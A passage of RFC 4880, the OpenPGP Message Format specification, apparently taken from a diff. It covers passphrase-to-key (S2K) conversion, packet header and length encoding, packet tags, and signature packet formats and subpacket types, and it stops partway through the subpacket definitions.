each produce different hash output. Once the passphrase is + hashed, the output data from the multiple hashes is concatenated, + first hash leftmost, to produce the key data, with any excess octets + on the right discarded. + +3.7.1.2. Salted S2K + + This includes a "salt" value in the S2K specifier -- some arbitrary + data -- that gets hashed along with the passphrase string, to help + prevent dictionary attacks. + + Octet 0: 0x01 + Octet 1: hash algorithm + Octets 2-9: 8-octet salt value + + Salted S2K is exactly like Simple S2K, except that the input to the + hash function(s) consists of the 8 octets of salt from the S2K + specifier, followed by the passphrase. + +3.7.1.3. Iterated and Salted S2K + + This includes both a salt and an octet count. The salt is combined + with the passphrase and the resulting value is hashed repeatedly. + This further increases the amount of work an attacker must do to try + dictionary attacks. + + Octet 0: 0x03 + Octet 1: hash algorithm + Octets 2-9: 8-octet salt value + Octet 10: count, a one-octet, coded value + + + + + + + + +Callas, et al Standards Track [Page 11] + +RFC 4880 OpenPGP Message Format November 2007 + + + The count is coded into a one-octet number using the following + formula: + + #define EXPBIAS 6 + count = ((Int32)16 + (c & 15)) << ((c >> 4) + EXPBIAS); + + The above formula is in C, where "Int32" is a type for a 32-bit + integer, and the variable "c" is the coded count, Octet 10. + + Iterated-Salted S2K hashes the passphrase and salt data multiple + times. The total number of octets to be hashed is specified in the + encoded count in the S2K specifier. Note that the resulting count + value is an octet count of how many octets will be hashed, not an + iteration count. + + Initially, one or more hash contexts are set up as with the other S2K + algorithms, depending on how many octets of key data are needed. + Then the salt, followed by the passphrase data, is repeatedly hashed + until the number of octets specified by the octet count has been + hashed. The one exception is that if the octet count is less than + the size of the salt plus passphrase, the full salt plus passphrase + will be hashed even though that is greater than the octet count. + After the hashing is done, the data is unloaded from the hash + context(s) as with the other S2K algorithms. + +3.7.2. String-to-Key Usage + + Implementations SHOULD use salted or iterated-and-salted S2K + specifiers, as simple S2K specifiers are more vulnerable to + dictionary attacks. + +3.7.2.1. Secret-Key Encryption + + An S2K specifier can be stored in the secret keyring to specify how + to convert the passphrase to a key that unlocks the secret data. + Older versions of PGP just stored a cipher algorithm octet preceding + the secret data or a zero to indicate that the secret data was + unencrypted. The MD5 hash function was always used to convert the + passphrase to a key for the specified cipher algorithm. + + For compatibility, when an S2K specifier is used, the special value + 254 or 255 is stored in the position where the hash algorithm octet + would have been in the old data structure. This is then followed + immediately by a one-octet algorithm identifier, and then by the S2K + specifier as encoded above. + + + + + + +Callas, et al Standards Track [Page 12] + +RFC 4880 OpenPGP Message Format November 2007 + + + Therefore, preceding the secret data there will be one of these + possibilities: + + 0: secret data is unencrypted (no passphrase) + 255 or 254: followed by algorithm octet and S2K specifier + Cipher alg: use Simple S2K algorithm using MD5 hash + + This last possibility, the cipher algorithm number with an implicit + use of MD5 and IDEA, is provided for backward compatibility; it MAY + be understood, but SHOULD NOT be generated, and is deprecated. + + These are followed by an Initial Vector of the same length as the + block size of the cipher for the decryption of the secret values, if + they are encrypted, and then the secret-key values themselves. + +3.7.2.2. Symmetric-Key Message Encryption + + OpenPGP can create a Symmetric-key Encrypted Session Key (ESK) packet + at the front of a message. This is used to allow S2K specifiers to + be used for the passphrase conversion or to create messages with a + mix of symmetric-key ESKs and public-key ESKs. This allows a message + to be decrypted either with a passphrase or a public-key pair. + + PGP 2.X always used IDEA with Simple string-to-key conversion when + encrypting a message with a symmetric algorithm. This is deprecated, + but MAY be used for backward-compatibility. + +4. Packet Syntax + + This section describes the packets used by OpenPGP. + +4.1. Overview + + An OpenPGP message is constructed from a number of records that are + traditionally called packets. A packet is a chunk of data that has a + tag specifying its meaning. An OpenPGP message, keyring, + certificate, and so forth consists of a number of packets. Some of + those packets may contain other OpenPGP packets (for example, a + compressed data packet, when uncompressed, contains OpenPGP packets). + + Each packet consists of a packet header, followed by the packet body. + The packet header is of variable length. + +4.2. Packet Headers + + The first octet of the packet header is called the "Packet Tag". It + determines the format of the header and denotes the packet contents. + The remainder of the packet header is the length of the packet. + + + +Callas, et al Standards Track [Page 13] + +RFC 4880 OpenPGP Message Format November 2007 + + + Note that the most significant bit is the leftmost bit, called bit 7. + A mask for this bit is 0x80 in hexadecimal. + + +---------------+ + PTag |7 6 5 4 3 2 1 0| + +---------------+ + Bit 7 -- Always one + Bit 6 -- New packet format if set + + PGP 2.6.x only uses old format packets. Thus, software that + interoperates with those versions of PGP must only use old format + packets. If interoperability is not an issue, the new packet format + is RECOMMENDED. Note that old format packets have four bits of + packet tags, and new format packets have six; some features cannot be + used and still be backward-compatible. + + Also note that packets with a tag greater than or equal to 16 MUST + use new format packets. The old format packets can only express tags + less than or equal to 15. + + Old format packets contain: + + Bits 5-2 -- packet tag + Bits 1-0 -- length-type + + New format packets contain: + + Bits 5-0 -- packet tag + +4.2.1. Old Format Packet Lengths + + The meaning of the length-type in old format packets is: + + 0 - The packet has a one-octet length. The header is 2 octets long. + + 1 - The packet has a two-octet length. The header is 3 octets long. + + 2 - The packet has a four-octet length. The header is 5 octets long. + + 3 - The packet is of indeterminate length. The header is 1 octet + long, and the implementation must determine how long the packet + is. If the packet is in a file, this means that the packet + extends until the end of the file. In general, an implementation + SHOULD NOT use indeterminate-length packets except where the end + of the data will be clear from the context, and even then it is + better to use a definite length, or a new format header. The new + format headers described below have a mechanism for precisely + encoding data of indeterminate length. + + + +Callas, et al Standards Track [Page 14] + +RFC 4880 OpenPGP Message Format November 2007 + + +4.2.2. New Format Packet Lengths + + New format packets have four possible ways of encoding length: + + 1. A one-octet Body Length header encodes packet lengths of up to 191 + octets. + + 2. A two-octet Body Length header encodes packet lengths of 192 to + 8383 octets. + + 3. A five-octet Body Length header encodes packet lengths of up to + 4,294,967,295 (0xFFFFFFFF) octets in length. (This actually + encodes a four-octet scalar number.) + + 4. When the length of the packet body is not known in advance by the + issuer, Partial Body Length headers encode a packet of + indeterminate length, effectively making it a stream. + +4.2.2.1. One-Octet Lengths + + A one-octet Body Length header encodes a length of 0 to 191 octets. + This type of length header is recognized because the one octet value + is less than 192. The body length is equal to: + + bodyLen = 1st_octet; + +4.2.2.2. Two-Octet Lengths + + A two-octet Body Length header encodes a length of 192 to 8383 + octets. It is recognized because its first octet is in the range 192 + to 223. The body length is equal to: + + bodyLen = ((1st_octet - 192) << 8) + (2nd_octet) + 192 + +4.2.2.3. Five-Octet Lengths + + A five-octet Body Length header consists of a single octet holding + the value 255, followed by a four-octet scalar. The body length is + equal to: + + bodyLen = (2nd_octet << 24) | (3rd_octet << 16) | + (4th_octet << 8) | 5th_octet + + This basic set of one, two, and five-octet lengths is also used + internally to some packets. + + + + + + +Callas, et al Standards Track [Page 15] + +RFC 4880 OpenPGP Message Format November 2007 + + +4.2.2.4. Partial Body Lengths + + A Partial Body Length header is one octet long and encodes the length + of only part of the data packet. This length is a power of 2, from 1 + to 1,073,741,824 (2 to the 30th power). It is recognized by its one + octet value that is greater than or equal to 224, and less than 255. + The Partial Body Length is equal to: + + partialBodyLen = 1 << (1st_octet & 0x1F); + + Each Partial Body Length header is followed by a portion of the + packet body data. The Partial Body Length header specifies this + portion's length. Another length header (one octet, two-octet, + five-octet, or partial) follows that portion. The last length header + in the packet MUST NOT be a Partial Body Length header. Partial Body + Length headers may only be used for the non-final parts of the + packet. + + Note also that the last Body Length header can be a zero-length + header. + + An implementation MAY use Partial Body Lengths for data packets, be + they literal, compressed, or encrypted. The first partial length + MUST be at least 512 octets long. Partial Body Lengths MUST NOT be + used for any other packet types. + +4.2.3. Packet Length Examples + + These examples show ways that new format packets might encode the + packet lengths. + + A packet with length 100 may have its length encoded in one octet: + 0x64. This is followed by 100 octets of data. + + A packet with length 1723 may have its length encoded in two octets: + 0xC5, 0xFB. This header is followed by the 1723 octets of data. + + A packet with length 100000 may have its length encoded in five + octets: 0xFF, 0x00, 0x01, 0x86, 0xA0. + + It might also be encoded in the following octet stream: 0xEF, first + 32768 octets of data; 0xE1, next two octets of data; 0xE0, next one + octet of data; 0xF0, next 65536 octets of data; 0xC5, 0xDD, last 1693 + octets of data. This is just one possible encoding, and many + variations are possible on the size of the Partial Body Length + headers, as long as a regular Body Length header encodes the last + portion of the data. + + + + +Callas, et al Standards Track [Page 16] + +RFC 4880 OpenPGP Message Format November 2007 + + + Please note that in all of these explanations, the total length of + the packet is the length of the header(s) plus the length of the + body. + +4.3. Packet Tags + + The packet tag denotes what type of packet the body holds. Note that + old format headers can only have tags less than 16, whereas new + format headers can have tags as great as 63. The defined tags (in + decimal) are as follows: + + 0 -- Reserved - a packet tag MUST NOT have this value + 1 -- Public-Key Encrypted Session Key Packet + 2 -- Signature Packet + 3 -- Symmetric-Key Encrypted Session Key Packet + 4 -- One-Pass Signature Packet + 5 -- Secret-Key Packet + 6 -- Public-Key Packet + 7 -- Secret-Subkey Packet + 8 -- Compressed Data Packet + 9 -- Symmetrically Encrypted Data Packet + 10 -- Marker Packet + 11 -- Literal Data Packet + 12 -- Trust Packet + 13 -- User ID Packet + 14 -- Public-Subkey Packet + 17 -- User Attribute Packet + 18 -- Sym. Encrypted and Integrity Protected Data Packet + 19 -- Modification Detection Code Packet + 60 to 63 -- Private or Experimental Values + +5. Packet Types + +5.1. Public-Key Encrypted Session Key Packets (Tag 1) + + A Public-Key Encrypted Session Key packet holds the session key used + to encrypt a message. Zero or more Public-Key Encrypted Session Key + packets and/or Symmetric-Key Encrypted Session Key packets may + precede a Symmetrically Encrypted Data Packet, which holds an + encrypted message. The message is encrypted with the session key, + and the session key is itself encrypted and stored in the Encrypted + Session Key packet(s). The Symmetrically Encrypted Data Packet is + preceded by one Public-Key Encrypted Session Key packet for each + OpenPGP key to which the message is encrypted. The recipient of the + message finds a session key that is encrypted to their public key, + decrypts the session key, and then uses the session key to decrypt + the message. + + + + +Callas, et al Standards Track [Page 17] + +RFC 4880 OpenPGP Message Format November 2007 + + + The body of this packet consists of: + + - A one-octet number giving the version number of the packet type. + The currently defined value for packet version is 3. + + - An eight-octet number that gives the Key ID of the public key to + which the session key is encrypted. If the session key is + encrypted to a subkey, then the Key ID of this subkey is used + here instead of the Key ID of the primary key. + + - A one-octet number giving the public-key algorithm used. + + - A string of octets that is the encrypted session key. This + string takes up the remainder of the packet, and its contents are + dependent on the public-key algorithm used. + + Algorithm Specific Fields for RSA encryption + + - multiprecision integer (MPI) of RSA encrypted value m**e mod n. + + Algorithm Specific Fields for Elgamal encryption: + + - MPI of Elgamal (Diffie-Hellman) value g**k mod p. + + - MPI of Elgamal (Diffie-Hellman) value m * y**k mod p. + + The value "m" in the above formulas is derived from the session key + as follows. First, the session key is prefixed with a one-octet + algorithm identifier that specifies the symmetric encryption + algorithm used to encrypt the following Symmetrically Encrypted Data + Packet. Then a two-octet checksum is appended, which is equal to the + sum of the preceding session key octets, not including the algorithm + identifier, modulo 65536. This value is then encoded as described in + PKCS#1 block encoding EME-PKCS1-v1_5 in Section 7.2.1 of [RFC3447] to + form the "m" value used in the formulas above. See Section 13.1 of + this document for notes on OpenPGP's use of PKCS#1. + + Note that when an implementation forms several PKESKs with one + session key, forming a message that can be decrypted by several keys, + the implementation MUST make a new PKCS#1 encoding for each key. + + An implementation MAY accept or use a Key ID of zero as a "wild card" + or "speculative" Key ID. In this case, the receiving implementation + would try all available private keys, checking for a valid decrypted + session key. This format helps reduce traffic analysis of messages. + + + + + + +Callas, et al Standards Track [Page 18] + +RFC 4880 OpenPGP Message Format November 2007 + + +5.2. Signature Packet (Tag 2) + + A Signature packet describes a binding between some public key and + some data. The most common signatures are a signature of a file or a + block of text, and a signature that is a certification of a User ID. + + Two versions of Signature packets are defined. Version 3 provides + basic signature information, while version 4 provides an expandable + format with subpackets that can specify more information about the + signature. PGP 2.6.x only accepts version 3 signatures. + + Implementations SHOULD accept V3 signatures. Implementations SHOULD + generate V4 signatures. + + Note that if an implementation is creating an encrypted and signed + message that is encrypted to a V3 key, it is reasonable to create a + V3 signature. + +5.2.1. Signature Types + + There are a number of possible meanings for a signature, which are + indicated in a signature type octet in any given signature. Please + note that the vagueness of these meanings is not a flaw, but a + feature of the system. Because OpenPGP places final authority for + validity upon the receiver of a signature, it may be that one + signer's casual act might be more rigorous than some other + authority's positive act. See Section 5.2.4, "Computing Signatures", + for detailed information on how to compute and verify signatures of + each type. + + These meanings are as follows: + + 0x00: Signature of a binary document. + This means the signer owns it, created it, or certifies that it + has not been modified. + + 0x01: Signature of a canonical text document. + This means the signer owns it, created it, or certifies that it + has not been modified. The signature is calculated over the text + data with its line endings converted to . + + 0x02: Standalone signature. + This signature is a signature of only its own subpacket contents. + It is calculated identically to a signature over a zero-length + binary document. Note that it doesn't make sense to have a V3 + standalone signature. + + + + + +Callas, et al Standards Track [Page 19] + +RFC 4880 OpenPGP Message Format November 2007 + + + 0x10: Generic certification of a User ID and Public-Key packet. + The issuer of this certification does not make any particular + assertion as to how well the certifier has checked that the owner + of the key is in fact the person described by the User ID. + + 0x11: Persona certification of a User ID and Public-Key packet. + The issuer of this certification has not done any verification of + the claim that the owner of this key is the User ID specified. + + 0x12: Casual certification of a User ID and Public-Key packet. + The issuer of this certification has done some casual + verification of the claim of identity. + + 0x13: Positive certification of a User ID and Public-Key packet. + The issuer of this certification has done substantial + verification of the claim of identity. + + Most OpenPGP implementations make their "key signatures" as 0x10 + certifications. Some implementations can issue 0x11-0x13 + certifications, but few differentiate between the types. + + 0x18: Subkey Binding Signature + This signature is a statement by the top-level signing key that + indicates that it owns the subkey. This signature is calculated + directly on the primary key and subkey, and not on any User ID or + other packets. A signature that binds a signing subkey MUST have + an Embedded Signature subpacket in this binding signature that + contains a 0x19 signature made by the signing subkey on the + primary key and subkey. + + 0x19: Primary Key Binding Signature + This signature is a statement by a signing subkey, indicating + that it is owned by the primary key and subkey. This signature + is calculated the same way as a 0x18 signature: directly on the + primary key and subkey, and not on any User ID or other packets. + + 0x1F: Signature directly on a key + This signature is calculated directly on a key. It binds the + information in the Signature subpackets to the key, and is + appropriate to be used for subpackets that provide information + about the key, such as the Revocation Key subpacket. It is also + appropriate for statements that non-self certifiers want to make + about the key itself, rather than the binding between a key and a + name. + + + + + + + +Callas, et al Standards Track [Page 20] + +RFC 4880 OpenPGP Message Format November 2007 + + + 0x20: Key revocation signature + The signature is calculated directly on the key being revoked. A + revoked key is not to be used. Only revocation signatures by the + key being revoked, or by an authorized revocation key, should be + considered valid revocation signatures. + + 0x28: Subkey revocation signature + The signature is calculated directly on the subkey being revoked. + A revoked subkey is not to be used. Only revocation signatures + by the top-level signature key that is bound to this subkey, or + by an authorized revocation key, should be considered valid + revocation signatures. + + 0x30: Certification revocation signature + This signature revokes an earlier User ID certification signature + (signature class 0x10 through 0x13) or direct-key signature + (0x1F). It should be issued by the same key that issued the + revoked signature or an authorized revocation key. The signature + is computed over the same data as the certificate that it + revokes, and should have a later creation date than that + certificate. + + 0x40: Timestamp signature. + This signature is only meaningful for the timestamp contained in + it. + + 0x50: Third-Party Confirmation signature. + This signature is a signature over some other OpenPGP Signature + packet(s). It is analogous to a notary seal on the signed data. + A third-party signature SHOULD include Signature Target + subpacket(s) to give easy identification. Note that we really do + mean SHOULD. There are plausible uses for this (such as a blind + party that only sees the signature, not the key or source + document) that cannot include a target subpacket. + +5.2.2. Version 3 Signature Packet Format + + The body of a version 3 Signature Packet contains: + + - One-octet version number (3). + + - One-octet length of following hashed material. MUST be 5. + + - One-octet signature type. + + - Four-octet creation time. + + - Eight-octet Key ID of signer. + + + +Callas, et al Standards Track [Page 21] + +RFC 4880 OpenPGP Message Format November 2007 + + + - One-octet public-key algorithm. + + - One-octet hash algorithm. + + - Two-octet field holding left 16 bits of signed hash value. + + - One or more multiprecision integers comprising the signature. + This portion is algorithm specific, as described below. + + The concatenation of the data to be signed, the signature type, and + creation time from the Signature packet (5 additional octets) is + hashed. The resulting hash value is used in the signature algorithm. + The high 16 bits (first two octets) of the hash are included in the + Signature packet to provide a quick test to reject some invalid + signatures. + + Algorithm-Specific Fields for RSA signatures: + + - multiprecision integer (MPI) of RSA signature value m**d mod n. + + Algorithm-Specific Fields for DSA signatures: + + - MPI of DSA value r. + + - MPI of DSA value s. + + The signature calculation is based on a hash of the signed data, as + described above. The details of the calculation are different for + DSA signatures than for RSA signatures. + + With RSA signatures, the hash value is encoded using PKCS#1 encoding + type EMSA-PKCS1-v1_5 as described in Section 9.2 of RFC 3447. This + requires inserting the hash value as an octet string into an ASN.1 + structure. The object identifier for the type of hash being used is + included in the structure. The hexadecimal representations for the + currently defined hash algorithms are as follows: + + - MD5: 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x02, 0x05 + + - RIPEMD-160: 0x2B, 0x24, 0x03, 0x02, 0x01 + + - SHA-1: 0x2B, 0x0E, 0x03, 0x02, 0x1A + + - SHA224: 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x04 + + - SHA256: 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01 + + - SHA384: 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x02 + + + +Callas, et al Standards Track [Page 22] + +RFC 4880 OpenPGP Message Format November 2007 + + + - SHA512: 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x03 + + The ASN.1 Object Identifiers (OIDs) are as follows: + + - MD5: 1.2.840.113549.2.5 + + - RIPEMD-160: 1.3.36.3.2.1 + + - SHA-1: 1.3.14.3.2.26 + + - SHA224: 2.16.840.1.101.3.4.2.4 + + - SHA256: 2.16.840.1.101.3.4.2.1 + + - SHA384: 2.16.840.1.101.3.4.2.2 + + - SHA512: 2.16.840.1.101.3.4.2.3 + + The full hash prefixes for these are as follows: + + MD5: 0x30, 0x20, 0x30, 0x0C, 0x06, 0x08, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x02, 0x05, 0x05, 0x00, + 0x04, 0x10 + + RIPEMD-160: 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2B, 0x24, + 0x03, 0x02, 0x01, 0x05, 0x00, 0x04, 0x14 + + SHA-1: 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0E, + 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14 + + SHA224: 0x30, 0x31, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, + 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x04, 0x05, + 0x00, 0x04, 0x1C + + SHA256: 0x30, 0x31, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, + 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, + 0x00, 0x04, 0x20 + + SHA384: 0x30, 0x41, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, + 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x02, 0x05, + 0x00, 0x04, 0x30 + + SHA512: 0x30, 0x51, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, + 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x03, 0x05, + 0x00, 0x04, 0x40 + + DSA signatures MUST use hashes that are equal in size to the number + of bits of q, the group generated by the DSA key's generator value. + + + +Callas, et al Standards Track [Page 23] + +RFC 4880 OpenPGP Message Format November 2007 + + + If the output size of the chosen hash is larger than the number of + bits of q, the hash result is truncated to fit by taking the number + of leftmost bits equal to the number of bits of q. This (possibly + truncated) hash function result is treated as a number and used + directly in the DSA signature algorithm. + +5.2.3. Version 4 Signature Packet Format + + The body of a version 4 Signature packet contains: + + - One-octet version number (4). + + - One-octet signature type. + + - One-octet public-key algorithm. + + - One-octet hash algorithm. + + - Two-octet scalar octet count for following hashed subpacket data. + Note that this is the length in octets of all of the hashed + subpackets; a pointer incremented by this number will skip over + the hashed subpackets. + + - Hashed subpacket data set (zero or more subpackets). + + - Two-octet scalar octet count for the following unhashed subpacket + data. Note that this is the length in octets of all of the + unhashed subpackets; a pointer incremented by this number will + skip over the unhashed subpackets. + + - Unhashed subpacket data set (zero or more subpackets). + + - Two-octet field holding the left 16 bits of the signed hash + value. + + - One or more multiprecision integers comprising the signature. + This portion is algorithm specific, as described above. + + The concatenation of the data being signed and the signature data + from the version number through the hashed subpacket data (inclusive) + is hashed. The resulting hash value is what is signed. The left 16 + bits of the hash are included in the Signature packet to provide a + quick test to reject some invalid signatures. + + There are two fields consisting of Signature subpackets. The first + field is hashed with the rest of the signature data, while the second + is unhashed. The second set of subpackets is not cryptographically + + + + +Callas, et al Standards Track [Page 24] + +RFC 4880 OpenPGP Message Format November 2007 + + + protected by the signature and should include only advisory + information. + + The algorithms for converting the hash function result to a signature + are described in a section below. + +5.2.3.1. Signature Subpacket Specification + + A subpacket data set consists of zero or more Signature subpackets. + In Signature packets, the subpacket data set is preceded by a two- + octet scalar count of the length in octets of all the subpackets. A + pointer incremented by this number will skip over the subpacket data + set. + + Each subpacket consists of a subpacket header and a body. The header + consists of: + + - the subpacket length (1, 2, or 5 octets), + + - the subpacket type (1 octet), + + and is followed by the subpacket-specific data. + + The length includes the type octet but not this length. Its format + is similar to the "new" format packet header lengths, but cannot have + Partial Body Lengths. That is: + + if the 1st octet < 192, then + lengthOfLength = 1 + subpacketLen = 1st_octet + + if the 1st octet >= 192 and < 255, then + lengthOfLength = 2 + subpacketLen = ((1st_octet - 192) << 8) + (2nd_octet) + 192 + + if the 1st octet = 255, then + lengthOfLength = 5 + subpacket length = [four-octet scalar starting at 2nd_octet] + + The value of the subpacket type octet may be: + + 0 = Reserved + 1 = Reserved + 2 = Signature Creation Time + 3 = Signature Expiration Time + 4 = Exportable Certification + 5 = Trust Signature + 6 = Regular Expression + + + +Callas, et al Standards Track [Page 25] + +RFC 4880 OpenPGP Message Format November 2007 + + + 7 = Revocable + 8 = Reserved + 9 = Key Expiration Time + 10 = Placeholder for backward compatibility + 11 = Preferred Symmetric Algorithms + 12 = Revocation Key + 13 = Reserved + 14 = Reserved + 15 = Reserved + 16 = Issuer + 17 = Reserved + 18 = Reserved + 19 = Reserved + 20 = Notation Data + 21 = Preferred Hash Algorithms + 22 = Preferred Compression Algorithms + 23 = Key Server Preferences + 24 = Preferred Key Server + 25 = Primary User ID + 26 = Policy URI + 27 = Key Flags + 28 = Signer's User ID + 29 = Reason for Revocation + 30 = Features + 31 = Signature Target + 32 = Embedded Signature + 100 To 110 = Private or experimental + + An implementation SHOULD ignore any subpacket of a type that it does + not recognize. + + Bit 7 of the subpacket type is the "critical" bit. If set, it + denotes that the subpacket is one that is critical for the evaluator + of the signature to recognize. If a subpacket is encountered that is + marked critical but is unknown to the evaluating software, the + evaluator SHOULD consider the signature to be in error. + + An evaluator may "recognize" a subpacket, but not implement it. The + purpose of the critical bit is to allow the signer to tell an + evaluator that it would prefer a new, unknown feature to generate an + error than be ignored. + + Implementations SHOULD implement the three preferred algorithm + subpackets (11, 21, and 22), as well as the "Reason for Revocation" + subpacket. Note, however, that if an implementation chooses not to + implement some of the preferences, it is required to behave in a + polite manner to respect the wishes of those users who do implement + these preferences. + + + +Callas, et al Standards Track [Page 26] + +RFC 4880 OpenPGP Message Format November 2007 + + +5.2.3.2. Signature Subpacket Types + + A number of subpackets are currently defined. Some subpackets apply + to the signature itself and some are attributes of the key. + Subpackets that are found on a self-signature are placed on a + certification made by the key itself. Note that a key may have more + than one User ID, and thus may have more than one self-signature, and + differing subpackets. + + A subpacket may be found either in the hashed or unhashed subpacket + sections of a signature. If a subpacket is not hashed, then the + information in it cannot be considered definitive because it is not + part of the signature proper. + +5.2.3.3. Notes on Self-Signatures + + A self-signature is a binding signature made by the key to which the + signature refers. There are three types of self-signatures, the + certification signatures (types 0x10-0x13), the direct-key signature + (type 0x1F), and the subkey binding signature (type 0x18). For + certification self-signatures, each User ID may have a self- + signature, and thus different subpackets in those self-signatures. + For subkey binding signatures, each subkey in fact has a self- + signature. Subpackets that appear in a certification self-signature + apply to the user name, and subpackets that appear in the subkey + self-signature apply to the subkey. Lastly, subpackets on the + direct-key signature apply to the entire key. + + Implementing software should interpret a self-signature's preference + subpackets as narrowly as possible. For example, suppose a key has + two user names, Alice and Bob. Suppose that Alice prefers the + symmetric algorithm CAST5, and Bob prefers IDEA or TripleDES. If the + software locates this key via Alice's name, then the preferred + algorithm is CAST5; if software locates the key via Bob's name, then + the preferred algorithm is IDEA. If the key is located by Key ID, + the algorithm of the primary User ID of the key provides the + preferred symmetric algorithm. + + Revoking a self-signature or allowing it to expire has a semantic + meaning that varies with the signature type. Revoking the self- + signature on a User ID effectively retires that user name. The + self-signature is a statement, "My name X is tied to my signing key + K" and is corroborated by other users' certifications. If another + user revokes their certification, they are effectively saying that + they no longer believe that name and that key are tied together. + Similarly, if the users themselves revoke their self-signature, then + the users no longer go by that name, no longer have that email + address, etc. Revoking a binding signature effectively retires that + + + +Callas, et al Standards Track [Page 27] + +RFC 4880 OpenPGP Message Format November 2007 + + + subkey. Revoking a direct-key signature cancels that signature. + Please see the "Reason for Revocation" subpacket (Section 5.2.3.23) + for more relevant detail. + + Since a self-signature contains important information about the key's + use, an implementation SHOULD allow the user to rewrite the self- + signature, and important information in it, such as preferences and + key expiration. + + It is good practice to verify that a self-signature imported into an + implementation doesn't advertise features that the implementation + doesn't support, rewriting the signature as appropriate. + + An implementation that encounters multiple self-signatures on the + same object may resolve the ambiguity in any way it sees fit, but it + is RECOMMENDED that priority be given to the most recent self- + signature. + +5.2.3.4. Signature Creation Time + + (4-octet time field) + + The time the signature was made. + + MUST be present in the hashed area. + +5.2.3.5. Issuer + + (8-octet Key ID) + + The OpenPGP Key ID of the key issuing the signature. + +5.2.3.6. Key Expiration Time + + (4-octet time field) + + The validity period of the key. This is the number of seconds after + the key creation time that the key expires. If this is not present + or has a value of zero, the key never expires. This is found only on + a self-signature. + +5.2.3.7. Preferred Symmetric Algorithms + + (array of one-octet values) + + Symmetric algorithm numbers that indicate which algorithms the key + holder prefers to use. The subpacket body is an ordered list of + octets with the most preferred listed first. It is assumed that only + + + +Callas, et al Standards Track [Page 28] + +RFC 4880 OpenPGP Message Format November 2007 + + + algorithms listed are supported by the recipient's software. + Algorithm numbers are in Section 9. This is only found on a self- + signature. + +5.2.3.8. Preferred Hash Algorithms + + (array of one-octet values) + + Message digest algorithm numbers that indicate which algorithms the + key holder prefers to receive. Like the preferred symmetric + algorithms, the list is ordered. Algorithm numbers are in Section 9. + This is only found on a self-signature. + +5.2.3.9. Preferred Compression Algorithms + + (array of one-octet values) + + Compression algorithm numbers that indicate which algorithms the key + holder prefers to use. Like the preferred symmetric algorithms, the + list is ordered. Algorithm numbers are in Section 9. If this + subpacket is not included, ZIP is preferred. A zero denotes that + uncompressed data is preferred; the key holder's software might have + no compression software in that implementation. This is only found + on a self-signature. + +5.2.3.10. Signature Expiration Time + + (4-octet time field) + + The validity period of the signature. This is the number of seconds + after the signature creation time that the signature expires. If + this is not present or has a value of zero, it never expires. + +5.2.3.11. Exportable Certification + + (1 octet of exportability, 0 for not, 1 for exportable) + + This subpacket denotes whether a certification signature is + "exportable", to be used by other users than the signature's issuer. + The packet body contains a Boolean flag indicating whether the + signature is exportable. If this packet is not present, the + certification is exportable; it is equivalent to a flag containing a + 1. + + Non-exportable, or "local", certifications are signatures made by a + user to mark a key as valid within that user's implementation only. + + + + + +Callas, et al Standards Track [Page 29] + +RFC 4880 OpenPGP Message Format November 2007 + + + Thus, when an implementation prepares a user's copy of a key for + transport to another user (this is the process of "exporting" the + key), any local certification signatures are deleted from the key. + + The receiver of a transported key "imports" it, and likewise trims + any local certifications. In normal operation, there won't be any, + assuming the import is performed on an exported key. However, there + are instances where this can reasonably happen. For example, if an + implementation allows keys to be imported from a key database in + addition to an exported key, then this situation can arise. + + Some implementations do not represent the interest of a single user + (for example, a key server). Such implementations always trim local + certifications from any key they handle. + +5.2.3.12. Revocable + + (1 octet of revocability, 0 for not, 1 for revocable) + + Signature's revocability status. The packet body contains a Boolean + flag indicating whether the signature is revocable. Signatures that + are not revocable have any later revocation signatures ignored. They + represent a commitment by the signer that he cannot revoke his + signature for the life of his key. If this packet is not present, + the signature is revocable. + +5.2.3.13. Trust Signature + + (1 octet "level" (depth), 1 octet of trust amount) + + Signer asserts that the key is not only valid but also trustworthy at + the specified level. Level 0 has the same meaning as an ordinary + validity signature. Level 1 means that the signed key is asserted to + be a valid trusted introducer, with the 2nd octet of the body + specifying the degree of trust. Level 2 means that the signed key is + asserted to be trusted to issue level 1 trust signatures, i.e., that + it is a "meta introducer". Generally, a level n trust signature + asserts that a key is trusted to issue level n-1 trust signatures. + The trust amount is in a range from 0-255, interpreted such that + values less than 120 indicate partial trust and values of 120 or + greater indicate complete trust. Implementations SHOULD emit values + of 60 for partial trust and 120 for complete trust. + + + + + + + + + +Callas, et al Standards Track [Page 30] + +RFC 4880 OpenPGP Message Format November 2007 + + +5.2.3.14. Regular Expression + + (null-terminated regular expression) + + Used in conjunction with trust Signature packets (of level > 0) to + limit the scope of trust that is extended. Only signatures by the + target key on User IDs that match the regular expression in the body + of this packet have trust extended by the trust Signature subpacket. + The regular expression uses the same syntax as the Henry Spencer's + "almost public domain" regular expression [REGEX] package. A + description of the syntax is found in Section 8 below. + +5.2.3.15. Revocation Key + + (1 octet of class, 1 octet of public-key algorithm ID, 20 octets of + fingerprint) + + Authorizes the specified key to issue revocation signatures for this + key. Class octet must have bit 0x80 set. If the bit 0x40 is set, + then this means that the revocation information is sensitive. Other + bits are for future expansion to other kinds of authorizations. This + is found on a self-signature. + + If the "sensitive" flag is set, the keyholder feels this subpacket + contains private trust information that describes a real-world + sensitive relationship. If this flag is set, implementations SHOULD + NOT export this signature to other users except in cases where the + data needs to be available: when the signature is being sent to the + designated revoker, or when it is accompanied by a revocation + signature from that revoker. Note that it may be appropriate to + isolate this subpacket within a separate signature so that it is not + combined with other subpackets that need to be exported. + +5.2.3.16. Notation Data + + (4 